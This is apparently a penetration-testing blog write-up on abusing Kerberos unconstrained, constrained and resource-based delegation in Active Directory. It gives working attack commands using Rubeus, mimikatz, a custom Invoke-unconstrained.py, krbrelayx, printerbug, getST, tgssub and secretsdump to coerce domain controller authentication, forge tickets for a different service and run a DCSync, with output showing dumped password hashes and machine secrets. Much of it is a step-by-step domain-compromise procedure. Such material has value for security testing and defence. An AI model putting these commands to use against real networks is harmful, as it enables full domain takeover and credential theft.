useraccountcontrol : TRUSTED_FOR_DELEGATION
), the KDC will send to the user a TGT (Ticket Granting Ticket) with the "Forwardable" flag, this flag enables the TGT to be valid to any machine in the domain.Due to the nature of this delegation type, a machine with "unconstrained delegation" (useraccountcontrol : TRUSTED_FOR_DELEGATION
), attribute can NOT ask for a TGT on the user behalf, the machine must obtain the TGT from the user/computer which wants to access a service hosted on the "unconstrained delegation" machine, due to these limitations, the exploitation of this delegation is a bit different.
When a TGS is requested for a service with Unconstrained Delegation enabled, a new Forwardable TGT will be generated to be placed inside the newly crafted TGS, the Forwardable TGT is encrypted inside the TGS with the NTLM (RC4 hash)/AES key of the Unconstrained Delegation machine.
e.g.domina.local\Machine$ :baac3929fabc9e6dcd32421ba94a84d4
- the encryption key will be the baac3929fabc9e6dcd32421ba94a84d4
NTLM hash.UserAccountControl
attribute, the attribute in "constrained" delegation will be TRUSTED_TO_AUTH_FOR_DELEGATION
unlike unconstrained which is TRUSTED_FOR_DELEGATION
, the difference lays in TO_AUTH
, where in constrained delegation, the machine can authenticate and ask for a ticket on another user behalf, and affectively impersonate that user - BUT It is constrained to a specific service, which limits the scope of exploitation (In case the a port is not defined within the SPN, an attacker can alter the SPN and access other services).ms-DS-Allowed-To-Delegate
(in LDAP it is written as msds-allowedtodelegateto
) is the attribute which indicates which SPNs we can use.Constrained Delegation
attack, much easier to exploit.msds-allowedtodelegateto
attribute.Constrained Delegation
but instead of giving permissions for a machine to impersonate any user against certain services, Resource-Based Constrain Delegation
(otherwise known as RBCD) sets a value in the target machine, that define which machine account can impersonate as other users on the target machine itself, this means that the impersonation permission will be written on the target machine object.An RBCD configured machine (the target) has an attribute called msDS-AllowedToActOnBehalfOfOtherIdentity
- this attribute will contains a SID of the machine account that can act on behalf of other users on the RBCD machine. In example, lets say we have two machines, MACHINE-A and MACHINE-B, and the SID of MACHINE-B is S-1-5-21-3419697060-3810377854-678604692
, if the attribute msDS-AllowedToActOnBehalfOfOtherIdentity
on MACHINE-A contains the MACHINE-B SID, It will mean that MACHINE-B can requests tickets as any user on MACHINE-A on any service , this usually results in a local administrator privileges while impersonating a domain admin.
Unlike constrained delegation where the target machines will not have any indication that they might be vulnerable to such attack, and the abused constrained delegation machine will have the attack path information stored on its' ms-DS-Allowed-To-Delegate
attribute.
UserAccountControl
property.useraccountcontrol : WORKSTATION_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION
Constrained delegation:useraccountcontrol : TRUSTED_TO_AUTH_FOR_DELEGATION
By default, Kerberos tickets are encrypted using RC4 + HMAC which is the NT Hash of the machine account (if the Unconstrained Delegation is set on a computer object), sometimes, organizations can set the encryption of the ticket to use AES256 and other types, these types are assigned with a number representing those encryption types.(18:AES256 CTS mode with HMAC SHA1-96)
(17:AES128 CTS mode with HMAC SHA1-96)
(20:AES256 CTS mode with HMAC SHA384-192)
(19:AES128 CTS mode with HMAC SHA256-128)
(16:DES3 CBC mode with SHA1-KD)
(23:RC4 with HMAC)
Second of all, we must verify two rules:Rubeus
in addition to using other coerce methods.Rubeus
on monitor mode and listen for new tickets obtained while dumping new tickets to the disk..\Rubeus.exe monitor /targetuser:<username> /interval:10
This method can also be exploited with mimikatz
, with mimikatz
we can dump tickets and then use them with a Pass-The-Ticket
attack.privilege::debug
sekurlsa::tickets /export
kerberos::list /export # Another way
Nowadays when EDRs / XDRs installed on endpoints is pretty common, these options are often not feasible, and might also give the blue team an indication that we are attacking the station which might result in losing the access we obtained.ms-DS-Additional-Dns-Host-Name
(in LDAP it is msds-additionaldnshostname
), and adding a DNS record to the HOSTNAME
in the msds-additionaldnshostname
field, with the IP of our attacking machine.Unconstrained Delegation
machine named as DEG$
. - since we have compromised this machine, we have SYSTEM
access to this machine which means we can use secretsdump.py
or mimikatz
and obtain the machine NTLM
/ AES
keys, our attacker IP is 10.0.0.8
, and the FAKE hostname we will insert into the ms-DS-Additional-Dns-Host-Name
field will be ATT30.labs.local
, then we add a DNS record to ATT30.labs.local
which points to 10.0.0.8
.Note: In AD environment every domain user can add DNS records if they do not exist.
Lets sort out the facts.DEG$
- A compromised unconstrained delegation machine. (NTLM hashes in hand).10.0.0.8
- Kali IPms-DS-Additional-Dns-Host-Name
will be populated with ATT30.labs.local
ATT30.labs.local
to 10.0.0.8
Invoke-unconstrained.py
script:python.exe Invoke-unconstrained.py -u LABS\DEG$ -p aad3b435b51404eeaad3b435b51404ee:fd8d7a6f868dc2d81aaf3eb3a9ea6adc -t DEG$ -ah ATT30.labs.local -aip 10.0.0.8 10.0.0.5
After adding the SPNs and editing the ms-DS-Additional-Dns-Host-Name
field , the attack is ready to be exploited, there are 2 steps left in order to fulfill the exploitation processIn the screenshot above with all of the cool hackers stuff on the screen, we used the printerbug.py
to trigger authentication from the domain controller to our kali attacking machine, as can be seen when we point it to 10.0.0.8
(explicitly using an IP address) - the attack fails (marked in a green square, top-left side), BUT when pointing it to our newly added DNS record at ATT30.labs.local
we obtain a TGT as the domain controller, which affectively, give us a full domain compromise, this happens due to the SPNs that Invoke-unconstrained.py
added.
Invoke-unconstrained.py
script, we run krbrelayx.py
and ANY coerce technique of choice, in our example case we used the printerbug.py
script. NOTE: When executing the Invoke-unconstrained.py
on kali, it will automatically run krbrelayx.py
with the -hashes
argument containg the RC4 of the machine account, and then execute printerbug.py
.
krbrelayx.py
should be launched with the aesKey
(-aeskey
) or RC4
(-hashes
) argument contains the hash of the machine.krbrelayx.py
would look as follows: python3 krbrelayx.py -hashes :fd8d7a6f868dc2d81aaf3eb3a9ea6adc
After executing krbrelayx.py
, we are now prepared to execute our desired coerce option, for demonstration purposes we used the following command:python3 printerbug.py LABS/DEG\$@10.0.0.5 -hashes :fd8d7a6f868dc2d81aaf3eb3a9ea6adc ATT30.labs.local
Pay attention we are using the HOSTNAME that we populated in the ms-DS-Additional-Dns-Host-Name
attribute, and that is it! we fully automated the exploitation of unconstrained delegation, without downloading and executing attack tools on the victim machine.
python.exe Invoke-unconstrained.py -u LABS\DEG$ -p aad3b435b51404eeaad3b435b51404ee:fd8d7a6f868dc2d81aaf3eb3a9ea6adc -r .\DEG-2023-10-25--15-30-23.434234 10.0.0.5
As can be seen, the state file is composed from the machine name, date and time, so we can firmly know what is the last state we had.Constrained Delegation
, you need the machine
NTLM hash (the machine configured with Constrained Delegation
), with that hash, you can act as the machine itself and request a ticket as any user to any SPN listed under the ms-DS-Allowed-To-Delegate
attribute (in LDAP it is written as msds-allowedtodelegateto
).http/dc01.labs.local
can be altered to cifs/dc01.labs.local
but mssql/dc01.labs.local:1433
cannot be altered due to the hardcoded port, lets say our machine CONSDEG$
has Constrained Delegation
on the SPN HTTP/DC01.labs.local
- which does not really help us if we do not have a service on HTTP ports that we can exploit.Constrained Delegation
goes as follows:getST.py LABS/CONSDEG$ -spn http/dc01.labs.local -hashes :0ff081fed30c81a7325d02edfb48209b -impersonate Administrator -dc-ip 192.168.117.131
Impacket v0.12.0.dev1+20231027.123703.c0e949fe - Copyright 2023 Fortra
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache
In the above it is shown how we request a ticket to the HTTP
service, but as the name suggests it is a domain controller, and CIFS
ticket will be best so we can perform a dcsync attack, to be able to achieve that, we can use the following tool tgssub.py, this tool will allow us to change the ticket SPN to a different service, and obtain a CIFS
ticket even though the ticket we were granted is for HTTP
.tgssub.py -altservice CIFS/dc01.labs.local -in Administrator.ccache -out Administrator2.ccache
Impacket v0.12.0.dev1+20231027.123703.c0e949fe - Copyright 2023 Fortra[*] Number of credentials in cache: 1
[*] Changing service from http/dc01.labs.local@LABS.LOCAL to CIFS/dc01.labs.local@LABS.LOCAL
[*] Saving ticket in Administrator2.ccache
And then we use the newly formed ticket with:export KRB5CCNAME=Administrator2.ccache
and now we can execute a DCSync
attack.secretsdump.py -k -no-pass DC01.labs.local
Impacket v0.12.0.dev1+20231027.123703.c0e949fe - Copyright 2023 Fortra
[*] Target system bootKey: 0xca57fe52b0b4d43a836eea863c9ff9d7
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:47
bf8039a8506cd67c524a03ff84ba4e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31
d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31
d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
LABS\DC01$:plain_password_hex:acb8149a6a22ee0e0c54a11961f4cf913b00c1205faa1c819d506ba9971248dd9a44d700da4a8bc547723a13cc7377099f45c503511ea491baeff4c620a996ac3404ebe45cc6ea493ce6538e7990b68fda67734c4e6c38b01b57e5e89b0f44f9afceb47b78fb65eaa9263de3ece2a93b83a139dfd67d8307f8d360a4c51aeddb60b68f52ddf40b487230ec914248bed2cacb6da8c30e88df631c4c05d4eb376e24edea243402b59c9395917576444c563092fda98baa500ddc65098eddfb6f4bd9134d1bb3680eed05674dd28da9b86a12a99d57c3d901cd7cb9ac7bedb015352a7d9a7a431bd14a0b330fff126444e6 LABS\DC01$:aad3b435b51404eeaad3b435b51404ee:d9b6241c81103428c74e471b9072b1f9:::
Boom, we exploited an "unexploitable" Constrained Delegation
scenario. msDS-AllowedToActOnBehalfOfOtherIdentity
attribute on the victim machine (target).getST.py LABS/CONSDEG$ -spn cifs/RBCDvictim.labs.local -hashes :0ff081fed30c81a7325d02edfb48209b -impersonate Administrator -dc-ip 192.168.117.131
in our above example the SID of the LABS/CONSDEG$
machine account is written in the msDS-AllowedToActOnBehalfOfOtherIdentity
attribute of the RBCDvictim.labs.local
machine.LABS/CONSDEG$
machine to request a ticket as any user, for any service on the RBCDvictim.labs.local
machine, but since this ticket is not forwardable, we cannot perform actions on other servers using this service (e.g adding a domain users, giving other users "Domain Admin" permissions, etc.).